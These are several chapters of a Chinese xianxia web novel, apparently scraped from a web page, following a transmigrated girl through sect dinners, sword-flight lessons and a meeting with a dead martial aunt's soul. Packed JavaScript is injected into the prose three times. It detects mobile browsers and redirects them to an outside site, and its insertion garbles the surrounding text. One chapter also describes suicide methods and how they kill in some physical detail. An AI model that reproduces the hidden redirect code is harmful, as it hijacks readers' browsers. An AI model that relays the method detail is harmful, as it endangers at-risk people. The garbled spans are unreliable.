关云铮点头:“那大师兄怎么知道我名字的?” 毕竟师姐和闻越应该是叫她云崽的? 连映在一旁补充细节:“我给阿却写过信,他知道。” 闭关居然能收信? 关云铮好奇地看向江却。 江却给连映夹了一筷子菜,对关云铮说:“闭关时想不通就会看信,所以知道。” 又嗑到了,嘻嘻。 闻越似乎对师兄师姐的相处细节习以为常,继续刚才的话茬说道:“然后他跟着蝴蝶刚找到你,看出那几个邪修是鬼灯楼的人,也看见你被邪修绑着,所以直接把他们杀了。” 闻越说到这异常兴奋:“欻欻几下就把他们都干掉了!” 关云铮点点头,虽然当时既看不清也听不清,但动作快是真的。 不过——她皱眉:“鬼灯楼?” 吃得一本满足的李演接话:“这几年比较猖狂的一个邪修门派,跟鬼、魂打交道比较多,这段时间几个仙门的异常估计也跟他们有关。” 这样说来,殷含绮就是鬼灯楼的吧? 闻越也想起这号人,扭头对关云铮说:“云崽,上次你遇到的那个,就是鬼灯楼的。” 连映不明所以,低头看向关云铮:“上次?” 关云铮感觉闻越说完这句后所有人的目光都汇聚到自己身上了,顿时有种头皮发紧的感觉,犹豫片刻还是说了实话:“上次师兄和我一起下山的时候,遇到过一个……”她思考了一下要不要继续沿用“姐姐”这个称呼,最后还是决定顺从本心,“遇到过一个姐姐。” 章存舒表情没什么变化,只又问了一句:“这次呢?也遇到了?” 关云铮感觉她师父有点太心如明镜了,老实回答:“遇到了,她还帮了我。” 章存舒“嗯”了声,没接话,表情也看不出喜怒。 关云铮只好继续说:“上次下山的时候,我无端注意到一个摊位上的香炉,这一次回来耽搁了就是因为这件事。” 虽然这件事她本来也该坦白的,但在餐桌上聊这种事总感觉会搞得大家不欢而散……问就是21世纪在家里餐桌上吵架吵怕了。 “辞别师兄的大哥后,我想起这件事打算去查探,路上遇见了她,她看我一个人,就说陪我一起。”关云铮小心翼翼地措着辞。 “后面事情解决了,回来路上听见有人呼救,我就想去救人,人是救走了,就是,额,自己搭进去了。” 做的时候只觉得自己有点莽撞不计后果,怎么在一群大人的眼皮子底下说出来不仅鲁莽还有点憨呢? 关云铮懊恼地低头。 餐桌上很安静,李演已经悄悄起身走了,很有眼色地留这群苍生道自己处理师门内部的问题。 章存舒的回应是揉了把关云铮的脑袋。 “邪修和正派的区别在于修炼方式的不同,殷含绮的行事风格闻越同我说起过,除开她邪修的师门背景之外,此人并无太多出格之处,你不用担心我们会因为你和邪修来往而失望或生气。” “你年纪还小,道理要自己悟得才能记一辈子,我无意多言。” 章存舒看她脑袋都快埋碗里了,失笑:“交朋友不是每个人的自由吗?紧张什么?” 关云铮抱着碗慢慢抬头。 “再说了,名门正派里也不都是好人,仙盟那群人就烦得要命。”章存舒不甚在乎地评价道,“嘴上说仁义道德,看规矩戒律比人还重,这就名门正派了?没准还是邪修自在些。” 连映没忍住笑,轻咳一声:“师父,谨言慎行。” 章存舒摆手,起身去给关云铮盛了一碗甜粥:“心思太重容易睡不着,随心而为就好,再不济有师父呢。” 关云铮被几句话说得有点想哭,感觉自己多年未发作的泪失禁有卷土重来之势,赶紧把嘴埋甜粥里:“好。” 23.第 23 章 说实话,章存舒这几句话本质上没有那么催人泪下——关云铮单方面把这归咎于看小说看多了——她也不是那种“我本可以忍受黑暗,假如我没有见过光明”的类型,平心而论,她没惨到那种地步。 虽然痛苦是不能拿来比较的,但原生家庭有问题的人太多了,她既不是“扶弟魔”家庭,也没有无法忍受的言语暴力,刺伤她的始终是她父母的态度和语气。 长大后她越发频繁地意识到家里的问题,在家待的时间越久越沉默。 看电视剧的时候,无辜的女孩被人侵犯并且注射毒品,她妈妈的第一句话是“你看她衣服也不好好穿,露个肩在那”,第二句话是“舞厅本来也不是正经人去的地方”。 要是她受了伤,她妈妈总是先来一句责怪的“我都跟你说过了要小心,你怎么就是不听”,之后才会关心她疼不疼。 有一段时间她宽慰自己,是妈妈的时代不一样,那个时候的大人们可能都是这样想、这样表达的,街头巷尾不还总有大妈聚在一起谈论别人的家长里短吗。 但时间久了,她发现这样的宽慰逐渐失去了本就微弱的效用。 因为她的妈妈拒绝改变,哪怕她被家庭里的琐事折磨了几十年,变得和她总挂在嘴边的二十多岁截然不同。 她总是一边抱怨,一边在关云铮提出解决办法时说“算了算了”“反正这些年都是这样过来的”“都这么大把年纪了”。 关云铮有时候有些刻薄地想:那你又为什么要抱怨呢? 这样的想法冒出来之后,关云铮会有些悲哀地发现,她好像痛恨的是同样深受家庭困扰,却始终无法狠下心肠的自己。 正如她对她爸爸的态度一样。 因为她在不可避免的变得与他越来越相像,所以日复一日的,她从未变过的坏脾气爸爸变得越发面目可憎。 因此在刚穿越过来的那一瞬间,意识到过去的自己或许猝死了的那一瞬间,前所未有的轻松包裹了她。 她是个很软弱的人,痛觉神经也很敏感,脑子里每次冒出自杀的想法时,因为太了解所有自杀方式的真正死因,对于痛的恐惧就会瞬间把自杀的想法扼杀。 割腕的最终目标是桡动脉,不同于颈动脉,它的搏动无法在体表扪及,因此要抵达这一步,需要把手腕割得面目全非。 她曾经在网上看到过割腕自杀的人被抢救的场景,可能是那个人用的刀不够锋利,也可能是ta对自己实在残忍,她看到的完全是一块烂肉。 皮肤消失了,取而代之的是已经凝固的、外翻的血肉,深红色,与做过放血处理的大体老师截然不同。 鲜活,刺痛。 百草枯则更像是古代电视剧里那些见血封喉的毒药,从进入口腔开始,一路腐蚀消化道,带来喉咙、食道、胃的灼烧感,继而迅速导致肝肾肺的衰竭。 大剂量的安眠药则会催发人想要呕吐的生理本能,但催眠的药效仍在发挥作用,所以呕吐这一举动也无法顺利进行,最终很可能会被呕吐物噎死。 …… 关云铮猛地回神,发现自己又在不受控制地思考自杀的办法,刚想做点什么分散自己的注意力,就听见连映说:“云崽喝甜粥,你喝什么?” 关云铮不明所以地抬头,发现章存舒正打算给自己也盛一碗甜粥,后知后觉地意识到刚才那句的意思不是“你要吃什么”,而是“你喝个什么劲”。 噗。 所以上次看到师姐不在时师父偷吃拔丝地瓜,果然不是错觉。 关云铮鬼鬼祟祟地凑到闻越旁边:“师姐为什么不让师父吃甜的,师父牙不好吗?” 师姐也凑过来,装作说悄悄话的样子,实则声音并没有低多少:“师父偶尔会牙疼。” 章存舒也不去盛粥了,站桌边佯装生气:“一起说我坏话是吧?” 关云铮秒速把脸埋回碗里。 还没到武器课场地就看见了楚悯,关云铮一路喊着“小悯小悯”小跑过去,到人面前时也还是很兴奋:“跟你说个好消息!” 楚悯站在原地等她跑过来,笑眯眯的:“是什么呀?” 关云铮叉腰:“我终于引气入体啦!” 楚悯眼睛亮亮的,看上去比关云铮还要高兴。她刚想开口,身后传来某个熟悉的、欠打的声音。 “引气入体这种事也值得这么高兴?等你筑基了不会要走火入魔吧?” 关云铮罔若未闻,对楚悯说:“归墟原来竟养狗了吗,怎么方才听到犬吠了?” 她一边吐槽一边在心里想,这个世界到底是不是某个人写的小说啊,为什么这种找打炮灰的情节标准得离谱,严重加深了她对修仙文的刻板印象。 赵乾达可能是没料到关云铮攻击性这么强,语塞了一会儿才继续说:“苍生道本也不是主流,能修到金丹已是难得,引气入体倒也值得高兴。” 关云铮转过身,面对楚悯时的笑容已经彻底消失:“我给你脸了是吧?” 其实她还没仔细看过原身的长相,不知道原身的脸做出现在的表情威力如何。但过去在现代的时候,她的冷脸能让校园里推销的人都欲言又止地目送她空手走开。 赵乾达没想到她会这么直接,关云铮转过来时,他脸上的表情甚至是那种战备状态似的警惕,好像在提防她又会像上次一样,把他怼得回不了嘴。 实际上关云铮的耐心很有限,容忍一个人的次数也很有限,以前大学班里虽然也有几个极品,但至少不会像赵乾达一样,每天都会来她面前晃荡。 这种每天都能见到的人骂两次就够了,再骂都怕把他骂爽了。 赵乾达还想说点什么,关云铮已经拉过楚悯走开,与他错身而过时说道:“你接下来最好每天祈祷我修不到金丹期,否则……” 关云铮睨了他一眼,没把话说完,和楚悯一起走了。 两人到角落后关云铮还冷着脸,楚悯摸摸她的肩膀:“不气不气。” 关云铮重重地呼出一口气,恢复平时的语气,可怜巴巴地挨着楚悯:“好晦气哦。” 楚悯被她逗笑,又摸了摸她脑袋:“这次下山遇到什么了吗?” 关云铮点点头:“这次下山遇到了好多事,一时半会儿都说不完。”话音刚落,蒲飞鸢到了,于是她止住话茬,“下……散学后跟你说。” 关云铮一直觉得归墟设立的教学模式有点问题,像武器和术法这样的实际操作课,总是只教几遍基本操作就交给弟子们自行领悟,领悟不出来再去找先生们演示几遍,回来后接着领悟。 这得多聪明的孩子才能每次都能学会啊,关云铮有点绝望地想。 “小悯,你之前学过御剑吗?”关云铮凑近正认真看第三遍演示的楚悯。 楚悯看着蒲飞鸢踏上木剑后才转过来小声说:“在师门的时候没学过,我之前身体太差了,兄长不让我学,怕我摔下来。” 关云铮认同地点点头:“你哥哥做得对。” 楚悯失笑:“不学体术和御剑岂不是身体更差吗?” 关云铮继续点头,表情很严肃:“你说的也对。” “说什么悄悄话呢?”蒲飞鸢的声音响起。 关云铮吓了一跳,明明刚才蒲飞鸢还在她前面演示,现在声音怎么就到她身后去了?修仙以后遇到的老师都有点邪门,普遍比她初中班主任还要背后灵,每次做点什么坏事就立马被抓包,可恶。 蒲飞鸢从剑上跳下来,把剑随手放到旁边:“昨日回来的?” 关云铮有点心虚地往楚悯旁边站了站,点点头:“昨日回来的。” 蒲飞鸢似乎并不知道她在山下的经历,也不知道她下山是为了什么,但是并没有追问,而是提起刚才的话题:“担心学不会?” 关云铮和楚悯对视一眼,实话实说地问出自己的疑惑:“是仙盟要求的授课方式吗?还是归墟安排的呀?” 蒲飞鸢倒没隐瞒:“一半一半,仙盟在时间上要求比较紧,授课方式是归墟授意的。”她看向关云铮,“怎么,觉得不合适?” 关云铮心虚地支支吾吾。 蒲飞鸢笑起来:“你没去过归墟其他地方吧?归墟弟子是我见过这么多门派里最少的,你觉得步雁山定下这样的授课方式是为什么?” 这……既是超纲题又是得罪人的情商题? 蒲飞鸢没刁难她,转而看向楚悯:“楚悯应该明白? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可能是刚引气入体的缘故,她自己的灵力没有问不熄鼎借来的好用,感觉不太稳定,木剑下落的过程中晃晃悠悠的,明显没有刚才浮起来的时候稳。 这能上人吗。 关云铮再次陷入对自己的怀疑之中。 楚悯那边进行得也不是很顺利,具体表现为上剑后完全不敢动。 关云铮和楚悯就这样一个凝固在剑旁边,一个凝固在剑上面。 一边在心里自我催眠“这么点高度摔不出什么问题”,一边碎碎念着“你可以的你可以的”,关云铮一脸壮士赴死般的表情,跳上木剑。 木剑猛地沉了一下,本来也就离地只有十几公分,这一下下沉险些重新触碰地面,但还是挺住了,悬停在了离地几公分的位置。 啧,感觉木剑在内涵她胖。 关云铮一边站稳一边想:还好没用摇羽练习御剑,不然何止内涵,估计能把她掀下去。 这下在剑上凝固的人变成两个了。 刚才跳上来的时候满脑子想的这么点高度摔不出什么问题,现在站到上面了脑子里只剩下满屏的弹幕:“这个高度虽然没问题,但是我飞起来摔下来应该会很痛吧”“当然会啊你那个时候有加速度摔不死你”“要是剑突然停了你还会被惯性甩出去”…… 关云铮有时候真的很好奇,明明数学和物理那么差,为什么无助的时候想到的都是被数学和物理羞辱的过去。 她深吸一口气,停止自己漫无边际的思绪,像蒲飞鸢演示的那样念起剑诀。 话说剑诀是不是术法课内容?还是褚先生教的理论课内容? 她本性难改,注意力不集中的毛病在这个时候也根深蒂固,还没等她思考出剑诀到底该归属于哪门课,短暂的几秒里,剑诀发挥作用,脚下木剑陡然拔高一截,然后以一种摔下来必然受伤的速度冲了出去。 24.第 24 章 被剑载着狂飙的时候关云铮连自己的死法都想好了。 不知道这边的动静有没有引起蒲飞鸢的注意,她只听见自己飞出去的一瞬间楚悯紧张的一声“云崽”,接着耳边就只剩下风声了。 几年学医生涯让她对待人生的态度逐渐乐观,具体表现为现在大难临头的时刻,她却在脑子里思考Arresto Momentum这种减缓下落速度的咒语,在她这样急速飞行的时候能不能管用。 还没等她发挥“人生乱套我睡觉”的精神,一股力道拽住了脚下的木剑,她反应不及,理所当然地被惯性甩飞出去—— 在即将脸着地的一瞬间又被一阵风托了一把,双脚在地上蹬了几下,站稳了。 是谁? 关云铮站定脚步环视,发现自己已经飞到了看着很眼生的地方。 没想到蒲飞鸢今天刚问她有没有去过归墟其他地方,很快就以这种方式到了,甚至还落在了疑似内院的地方,周围有个和苍生道院子十分相似的连廊。 要不还是悄悄溜走吧,就是不知道该往哪儿走才能回去…… “刚学会引气入体?”一个声音在她背后响起。 关云铮转身,对上视线后愣住了。 这好像是……她在“月儿”的刀中记忆里,见过的那位,她师父和“月儿”共同的师兄?年纪比那时见到的老了一些,蓄起了胡子,五官的变化似乎不大。再加上当时他总是只来看一眼“月儿”就走,行为诡异,实在很难不对他印象深刻。 对面的人看她半晌不回话,皱眉道:“你是哪个门派的弟子?” 关云铮回神,低头行礼:“苍生道弟子。” 那人没立即回应,关云铮行完礼抬头时,才听见他冷哼一声:“苍生道。” ? 苍生道招你惹你了? 我师父不还是你师弟吗?你俩有什么龃龉可不要波及我。 关云铮正在心里蛐蛐着,发现这人似乎不打算再和她说话,转身要走。 她只好追上去两步:“先生,我的剑……” 你要走也把剑还我啊。 谁料一靠近,那人忽然停住脚步,面色似乎变得更不好看了:“你跟我过来。” ?能不能不过去。 关云铮心里嘀咕着,硬着头皮跟上了。 练武场上,楚悯从木剑上跳下来,急着迈步,险些把自己绊一跤,刚要摔倒,旁边伸过来一只手把她架住了:“别急。” 蒲飞鸢看了眼关云铮离开的方向,安抚楚悯:“都在归墟,不会出什么事。” 楚悯收好木剑,皱着眉头:“会摔伤。” 蒲飞鸢挑眉:“不见得,你再看看?” 楚悯刚听到这句话还有点没反应过来,过了会儿才意识到蒲飞鸢话里的意思,往那个方向犹疑不定地看了一会儿后,又转回头不太确定地看向她。 蒲飞鸢老神在在的:“练剑吧,我接着你。” 楚悯催动灵气的动作一顿。 “还是怕?”蒲飞鸢失笑,“让剑停低点试试?” 楚悯操控着剑停得低了些,这次跟关云铮方才悬停的高度差不多,跳上剑时也很稳,但到了念剑诀让剑行动起来的时候,又露出十分明显的犹豫神情。 蒲飞鸢抱臂在旁边看着,神色有些意外。 “以前从剑上摔下来过?”她看楚悯一动不敢动的样子,还是开口问道。 楚悯脸绷得很紧,坦诚道:“未曾,只是害怕。” 蒲飞鸢一愣,随即笑出声来:“你先试试念剑诀,我在这陪着你。” 楚悯轻吐一口气,在剑上试着放松自己绷直的双腿,低声念起剑诀。 木剑在她脚下微微颤动,随即响应剑诀,以一种相对和缓的速度飞出去了一些。 “这不是学得挺好的?”蒲飞鸢一边跟着楚悯飞的轨迹走,一边点评道。 楚悯似乎正打算回答些什么,视线还没移开,脚下的剑已经剧烈地晃动了一下,足以把上面站着的人狠狠地甩下来。 楚悯来不及发出惊呼,底下站着的蒲飞鸢已经变了脸色,在楚悯摔下来的一瞬间上前一步,把人接进怀里。 蒲飞鸢把楚悯放下,让她在原地站稳,随即看向正在各自练剑的其他学生,眉头皱得很紧。 好在方才的速度不快,楚悯还没来得及腿软,因此冷静问道:“是其他人练剑失误了吧?” 蒲飞鸢收回目光,面色已经变成直白的不虞:“最好是失误。”她低头看向楚悯,“是不是有个混小子总欺负你?” 楚悯倒没想到赵乾达身上去,平时这厮虽然经常上前来挑衅,但是对她并没有造成什么实际的损害。 她不太爱说话,常常是赵乾达噼里啪啦说了好些话,她才慢吞吞地问上一句“今日的课业完成了吗,先生说你符咒学得很差”这类的话。可能是她说的话每次都太过会心一击,所以赵乾达始终对于挑衅她这件事乐此不疲,像是执着于要在言语上找回几分面子一般。 但也就停留在言语挑衅的程度了,借他几分胆子估计都不敢真的对她动手。 楚悯没往那边看,神色平静地捡起掉落在地的木剑,顺带回答蒲飞鸢方才的问题:“人总不至于落到和狗计较的地步。” 蒲飞鸢一愣,被逗得哈哈大笑起来。 楚悯对着她弯弯眼睛,继续去练剑了。 关云铮感觉师父的师兄脾气有点太坏了,跟掌门简直是两个极端,跟师妹“月儿”差距更是一个地下一个天上。 可能一个师门出这一个脾气坏的就够了吧,她暗自腹诽。 “你受伤了?”走在前面的坏脾气大叔,不是,坏脾气师伯冷不丁来了句。 关云铮下意识想回“没受伤”,转念一想之前手腕上好像确实有点破皮,于是又临时改口道:“一点皮外伤。” 那人又冷哼一声:“用的什么药?” 关云铮心说我一睁眼痕迹都没了,我上哪儿知道去。 他终于走到了地方,在一鼎炉子旁边坐下:“你师父没告诉你,是我的药?” 关云铮站旁边,不明白他到底想表达什么,面上还是客客气气的:“师父没说。” 那人追问:“那你也不知道我是谁了?” 关云铮思考了一会儿要不要说实话,最终还是觉得不做隐瞒为好,老实道:“弟子……见过您,但不知道您的姓名。” 这话说得就很奇怪了,坐着的人皱眉:“你在何处见过我?” 反正师父和掌门应该都知道她接触过那把刀里的记忆了,这位也是师父师门的,告诉他应该也没关系? 关云铮这样想着,坦白:“在剑冢,‘月儿’留下的刀中。” 面前的人猛地起身,还差点带翻了旁边的炉子,里面的火星都溅出几颗燎上他衣摆。 关云铮默默后退一步。 他顾不上低头,随手掸了两下衣摆把火星拍掉,开口时语气很急切:“你如何能进剑冢?还能进刀中?” 关云铮其实也不明白,毕竟师父说过,能向不熄鼎借灵气的人很多,但能进剑冢的寥寥无几,她到现在也没搞清楚这两点之间有什么必然联系,总不能是负相关吧? “大概是我向不熄鼎借灵气时,与前辈建立了联系?”她试探着说。 “借灵气的人多了,你怎么就能建立联系?”对面的人明显没那么好糊弄,抓住了她话里的逻辑漏洞追问道。 那你要这么问,我也没办法。 关云铮放弃挣扎,反正也解释不通。 那人似乎是打量了她一会儿,随即一把抓过她衣领,召出不知悬挂在哪里的配剑,提溜着她,踩上剑就走。 不是??? 谁来管管这个疯子??? 来去峰上。 步雁山正坐在火炉边煮茶,门敞着,刚看见任嵩华练完剑经过,打算开口时却忽然听见门外传来……大呼小叫的声音? 本打算走开的任嵩华也停下了脚步,往身后的方向看。 步雁山把煮好的茶倒进茶具,端着茶具走出门,招呼任嵩华:“来喝茶。” 虽说每次煮了茶都会招呼任嵩华来喝,但多数时候都得不到回应,步雁山也只是习惯性地提出邀请,做好了会被客气道谢而后回绝的准备。 就见任嵩华站在原地似乎是思索了一阵,点了点头:“多谢掌门。”然后上前一步,把步雁山手里的茶盏接过去了。 步雁山挑眉,接着把目光看向刚才声音的来源。 不看不知道,一看确实吓一跳,几乎从不上来去峰的人居然就在眼前:“大师兄?” 被喊的人回过头来,居然罕见地有点狼狈:“雁山。” 任嵩华也走上前:“先生。” 两人一走近,才发现大呼小叫声的来源—— 关云铮在他背后扑腾着,明明都快把自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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坐下之前关云铮还在感慨,要是天气冷的话,煮茶倒是挺合适的,只是归墟常年四季如春估计不太满足条件。 坐下后她才后知后觉,看向重新把火点起来的步雁山:“掌门,这里似乎要比下面冷一些?” 步雁山不知从哪儿变出一排茶盏,推到她面前,示意她挑一个喜欢的:“来去峰上没有大阵覆盖,故而冷一些。” 关云铮垂眼挑茶盏,感觉每个都好看,每个都想要,挑得人快要眼花缭乱了:“掌门和任师姐平时不冷吗?” 步雁山看她还在认真挑选,没打断她,给坐在一边的凌风起倒了一盏,又看向任嵩华。任嵩华手里的茶盏已经空了,对上步雁山的目光后,她短促地摇了摇头。 步雁山不意外地收回视线,回答关云铮的问题:“不冷,衣服里缝了符咒。” 关云铮终于挑出最喜欢的一个茶盏,开心地拿起来递给步雁山:“也对,差点忘了衣服也可以保暖了。” 几人交流完,步雁山看向一言不发的凌风起:“大师兄今日来此是为何事?” 三人的目光骤然一同看过来,凌风起拿着茶盏,起先还是闭口不言,被步雁山平静地注视了一会儿后才道明来意:“她进过剑冢,还进了霰照之内,此事你可知?” 霰照?“月儿”的刀吗? 步雁山颔首:“我知。” 凌风起皱眉:“那你们……”像是意识到自己语气太过急切,他停顿片刻重新开口,“未曾探查究竟为何?” 一旁的火炉发出木柴燃烧噼啪作响的声音,关云铮好奇地凑过去看,被任嵩华伸手挡了一下:“当心。” 关云铮才发现有微不可查的细小火星在往外蹦,不好意思地对着任嵩华笑笑:“多谢任师姐。” 步雁山看向关云铮:“没准只是因为,师姐格外喜欢云崽吧。” 凌风起眉头没松,看向正疑惑看过来的关云铮,似乎在探究她有什么值得“月儿”青睐的长处。 关云铮不打算搭理凌风起的目光,端着茶盏问步雁山:“总是称呼‘月儿’似乎不太尊师重道。” 凌风起“哼”了一声:“你还知道尊师重道?” 反正也被掌门和任师姐撞见她骂人了,关云铮破罐子破摔,没打算忍着,当下就回了句:“尊师重道也得分人。” 凌风起险些被气得胡子也歪了:“你!” 关云铮也学他“哼”一声,低头喝自己的茶。 步雁山坐在两人中间,被这番幼稚的斗嘴逗得直想笑,片刻后才收了笑意:“师姐叫戚寻月,悲戚的戚,寻觅的寻。” 25.第 25 章 关云铮捧着茶盏点头:“师叔的名字和她的样子很像。” 就像入夜时分,月亮初升,藏在还没完全隐去的云层后,露了半遮半掩的一个轮廓,散发着柔和的光晕。尽管人们深知月亮本身不能发光,所有的光亮只是对阳光的反射,但也无法阻碍这几千年来人们对月光的钟情。 一个朦胧的,像云雾一样的名字。 火炉再次把架在上面的茶煮沸,步雁山随手把火焰拢进掌心熄灭,把茶壶端到几人面前的茶案上,神情很温和:“师姐知道你是这样的态度,一定很高兴。” 关云铮把茶盏拢在手心里,茶的温度煨得人很舒服:“这样的态度?” 步雁山给自己倒了一盏茶,橘皮和茶叶混杂的味道散发出来,暖融融的蒸汽里混入一点清香与苦涩:“师兄一定没和你提起过师姐吧?” 关云铮注意到他说的称呼,意识到说的并非凌风起而是章存舒,于是点点头:“师父应当知道我在霰照中见到了戚师叔的记忆,但他没和我提起过戚师叔。” 步雁山颔首:“师姐即将身死那段时日,我并不在门中,正从别处匆忙赶回,是以你也无法在霰照中见到彼时的我。” 他的表情没有太多的变化,乍一看仿佛并不十分悲痛,神色平静地继续说道:“师兄和大师兄在如何面对这件事上产生过,”他停顿了一下,似乎是在寻找合适的措辞,“十分激烈的争执。” “大师兄无法接受师姐即将身死的事实,更无法面对师姐,把一切归咎于自己的无能。” 关云铮从雾气里抬起眼看向一言不发的凌风起,心说这点确实看得出来,难怪当时刀里总是见他一面都很难,原来是在疯狂内耗。 虽然把一个人复杂的情感概括为简单的“内耗”是一种居高临下的冷漠,但关云铮一时之间也想不到什么更好的表达,直觉是自己冲浪冲多了,都在看别人反刍出来的东西,阅读的东西都沾着别人的口水,到现在连自我思维方式都快“格式化”了。 她也不敢说自己就能理解凌风起,也没有什么资格去点评凌风起对于戚寻月身死这件事的态度,只是觉得这样不愿意面对显然是不行的,至少是于事无补的。 死者离世,生者总是更痛苦,如果不珍惜最后的时间多保留一些相处的记忆,那来日又该如何度过呢?每每想起时,又会不会后悔当初自己的不敢面对呢? 关云铮小幅度地摇了摇头,轻轻叹了口气。 步雁山似乎是听见了她的叹气声,伸手摸了一把她方才被抓着御剑飞行时,被风揉乱的头发:“师兄则是在师姐死后,再也没有开口提过师姐的事。” 关云铮感觉这个话题还是有点太严肃了,说到这都不知道自己该不该接话,只好苦大仇深地抿住嘴巴。 “两位师兄虽然态度不近相同,但倒是有一个共同之处。”步雁山的神色似乎忽然轻松起来,看向凌风起说话时的语气也带了些调侃的意味,“他们都不愿意来这来去峰。” 关云铮无言看向凌风起。 一直没开口默默听着的任嵩华,居然也看向了凌风起。 凌风起额角的青筋都快爆出来了,在两人意味深长一人平淡的注视下,放下茶盏:“我来看看小月。” 步雁山恍然大悟似的点点头:“然后呢?” 凌风起猛地站起来:“去问问她这小崽子有什么长处值得她如此青睐。” 说完他就大步往外走了,头也不带回的。 关云铮一脸无辜地看向步雁山。 步雁山再次摸摸她的脑袋:“他进不了剑冢。” 关云铮有点困惑:“那师父能进剑冢是因为有先辈的武器在里面?” 步雁山摇头:“师兄他是硬闯的。” 啊? 不是,这,这对吗? 关云铮更困惑了:“那师伯硬闯也进不去吗?” 步雁山似乎是有点想笑,但是忍住了:“对。” 关云铮脑海中一番争斗:“怎么办好想笑这是可以笑的吗凌风起都走远了应该可以笑吧”,片刻后没绷住还是笑出声了。 步雁山看着凌风起离开的方向:“虽然我也不知为何,大师兄的修为与师兄并不差去多远,但大师兄始终无法进入剑冢。” 没准是剑冢里的武器们看他不顺眼呢。关云铮有点缺德地腹诽。 难怪他这么生气,原来是想去看师妹用过的刀却进不去,她这个刚来的却能凭借和不熄鼎的联系进入剑冢。 关云铮没忍住,又开始用网络词汇形容凌风起的这一行为:他破防了。 关云铮后知后觉地意识到,虽然她已经自己推断出了不熄鼎的“燃料”用的是戚寻月的神魂,或者说不熄鼎就是戚寻月本尊,但她始终没有把这一推论和自己的师父师叔们说过。 于是在前往来去峰山顶的路上,关云铮小声向步雁山说出了自己的猜测。 ——之所以小声是因为坏脾气的凌风起就走在他俩旁边。 步雁山点头,肯定了她的猜测:“不熄鼎底下燃着的,确实是师姐的神魂。” 关云铮听完露出不忍的神色:“痛吗?” 步雁山似乎是没想到她会这么问,愣了一下才说:“不痛,也不会消耗,就像长明灯的灯芯一样。” 关云铮这才点点头:“那就好。” 步雁山低头看她毛茸茸的脑袋:“云崽还有什么想问的吗?” 关云铮绕过一颗小石子,抬起头来:“待会儿要怎么和师叔说话?她要怎么说呢?” 难道说火焰能显出独特的形状吗?就像象形文字一样? 任嵩华的声音响起:“神魂能传递消息,我来读。” 关云铮还没听过任嵩华一次说这么多字,刚听完还有点没回过神,好一会儿才愣愣地点了点头:“好哦。” 步雁山被她的语气词逗笑了:“好哦?” 关云铮这才回神,舌头打结似的解释道:“啊不是,我的意思是,额,好。哦是无关紧要的语气词。” 任嵩华颔首:“好。” 步雁山也点头:“好哦。” 。 行吧。 继好耶人传人后,好哦也要人传人了。只能说还好任嵩华没学,不然太有悖于她对无情道的刻板印象了。 凌风起没打断他们几个的对话,又走了一段路后才出声:“到了。” 关云铮应声抬头—— 一尊青灰色的鼎出现在眼前——说真的在见到不熄鼎的这一刻关云铮觉得自己见识还是太少了,她在脑海里回忆了一下司母戊大方鼎的尺寸,似乎也才一米多高? 这就是修仙世界吗,旁边的步雁山和凌风起居然都需要仰起头来看这尊鼎。 这得有多沉啊……关云铮呆呆地想。 任嵩华已经在不熄鼎旁边的空地上盘腿坐下了,闭上双眼时手边凭空出现了一个卷轴。 关云铮被卷轴吸引目光,看着任嵩华闭着眼伸手,把它缓慢展开,显露出空无一物的内里。 似乎并非空无一物……仔细看的时候好像能看出起伏。 凌风起站在不熄鼎另一边低声说着什么,这一边任嵩华的手像是被什么掌控一般,在展开的卷轴上划动起来。 好像目睹了扶乩*现场……科学不存在了…… 关云铮几乎忘了眨眼,直到那一边凌风起含糊的低语声停歇,任嵩华才停下了动作,睁开眼睛。 那一瞬间,关云铮不敢确信自己是不是看到了和寻常的任嵩华不一样的眼神。只是那种眼神转瞬即逝,任嵩华很快就恢复了她往日平淡的神情。 卷轴被托了一把,缓缓浮动到几人面前,上面逐渐浮现出墨迹奇特的文字。 “师兄,好久不见。” 或许是在刀中见过的记忆太过刻骨铭心,关云铮几乎能想象这些文字的“语气”。 应当是带着几分笑意的、温柔的、平和的。 “偶尔她同我借灵气时,能听见她在想什么,挺有趣的,忍不住多关注了些。” “那日也是看她对剑冢颇为好奇,故而让霰照和她临时感应了一番。” “现在看来,不算做了坏事。” “我在来去峰上太无聊啦,你们也不来看我,有这小姑娘偶尔找我借个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895349|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵气,当然要答应了。” “不过师兄,你还是不留胡子好看。” 特殊的“墨迹”像是漂浮在空中,在所有的“回复”结束后,彻底消散在了风里。 关云铮看着卷轴出神,直到被步雁山拍了拍肩头,才意识到自己已经盯着卷轴很久了。 她抬头看向步雁山:“掌门,师叔是一次只能说这么多话吗?” 步雁山摇头,示意她看凌风起。 坏脾气师伯站在不熄鼎旁边,脸上的神情比关云铮方才还要愣怔。 这一瞬间关云铮脑子里冒出来的形容几乎有些……不合时宜,但细想之下又觉得好像没有比这更合适的形容了。 凌风起此时的神情就像是……走丢了的孩童骤然听见亲人呼唤自己的名字一样。 不可置信的、惊喜的,继而涌上的是一种带着茫然的委屈和难过。 关云铮很快收回视线,停止自己对一个成年人脆弱时刻的凝视。 所以并不是戚寻月一次只能说这些话,而是凌风起在“听到”她的回答后,问不出更多的话了。 关云铮把声音放得很轻,怕惊扰了什么似的:“师伯他……‘近乡情怯’了。” 步雁山点头,看向把卷轴收起来的任嵩华:“我们走吧。” 回到方才煮茶的地方时,关云铮想起什么,抬头看步雁山:“掌门,你还有多的茶壶吗?” 